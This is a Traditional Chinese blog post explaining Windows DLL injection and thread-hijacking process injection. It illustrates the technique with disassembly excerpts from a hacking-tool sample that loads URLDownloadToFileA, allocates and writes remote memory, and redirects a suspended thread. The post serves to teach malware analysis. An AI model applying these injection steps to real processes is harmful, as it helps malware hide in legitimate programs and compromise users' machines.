在 Windows 作業系統下,每個程序(Processs)在執行過程中,會根據程序所需調用的 APIs 載入需要的 DLL(Dynamic-Link library)。對於病毒而言,有一種技巧是將惡意程式碼包在 DLL 中,並將此 DLL inject 至正常程序裡執行,執行過程中會因為載入該 DLL 以進行病毒行為。
常見 DLL Injection 方法
下圖為此方法的流程
流程介紹
下面我們用樣本 HackTool.Win32.Injecter.a 中的部分逆向程式碼說明上面這五個流程:
push offset aUrlmon ; "urlmon"
call LoadLibraryA ;
mov [ebp+NumberOfBytesWritten], eax
push offset aUrldownloadtof ; "URLDownloadToFileA"
要被 inject 惡意程式碼的目標 dll - urlmon.dll。
mov eax, offset aUrlmon_0 ; "urlmon"
call sub_402688
lea edx, [ebp+var_189]
mov ecx, 40h
mov eax, offset aUrldownloadt_0 ; "URLDownloadToFileA"
call sub_402688
; 在此之前的程式碼從某個惡意網站下載了程式碼儲存, 並修改了 urlmon.dll
mov [ebp+Context], 10007h
push esi ; hThread
call SuspendThread ;
lea eax, [ebp+Context]
push eax ; lpContext
push esi ; hThread
call GetThreadContext
push 40h ; flProtect
push 1000h ; flAllocationType
push 1000h ; dwSize
push 0 ; lpAddress
push edi ; hProcess
call VirtualAllocEx ;
mov ebx, eax
test ebx, ebx
jz loc_40A5ED
mov eax, ds:off_40B300
mov edx, offset aInjectingACode ; "Injecting a code..."
call sub_4041F8
call sub_402E30
call sub_402638
lea eax, [ebp+NumberOfBytesWritten] ;
push eax ; lpNumberOfBytesWritten
push 40h ; nSize
push offset sub_40A30C ; lpBuffer
push ebx ; lpBaseAddress
push edi ; hProcess
call WriteProcessMemory
lea eax, [ebp+Context]
push eax ; lpContext
push esi ; hThread
call SetThreadContext ;
jmp short loc_40A606
mov eax, ds:off_40B300
mov edx, offset aProcessMemoryI ; "Process memory is not accessible"
call sub_4041F8
call sub_402E30
call sub_402638
push esi ; hThread
call ResumeThread ;
淺談何謂 CreateRemoteThread
呼叫 CreateRemoteThread 是常用的一種方法,這裡的 CreateRemoteThread 是建立一條 Thread 到另一個程序 (目標程序)裡。目的是要透過目標程序中的 Thread 來呼叫 LoadLibrary 並載入我們要用到的 DLL。
以下為 MSDN 所查到關於 CreateRemoteThread 的用法
假設我們用 LoadLibrary 載入 AAA.dll 時,參數(2)即是 LoadLibrary 的位址,參數(3)則會放 AAA.dll 的路徑。
談完感染型病毒後,接著明天會提到最近很夯但又令人棘手的勒索病毒。
希望有興趣的讀者也能夠點個追蹤,有任何問題或有想多了解的地方也可以回覆在文章底下唷,謝謝你們XDDDD!
參考來源:
DLL injection https://read01.com/0MJPao.html
DLL Injection and Hooking http://securityxploded.com/dll-injection-and-hooking.php
CreateRemoteThread Function https://msdn.microsoft.com/zh-tw/library/windows/desktop/ms682437(v=vs.85).aspx
HackTool http://vx-archiv.at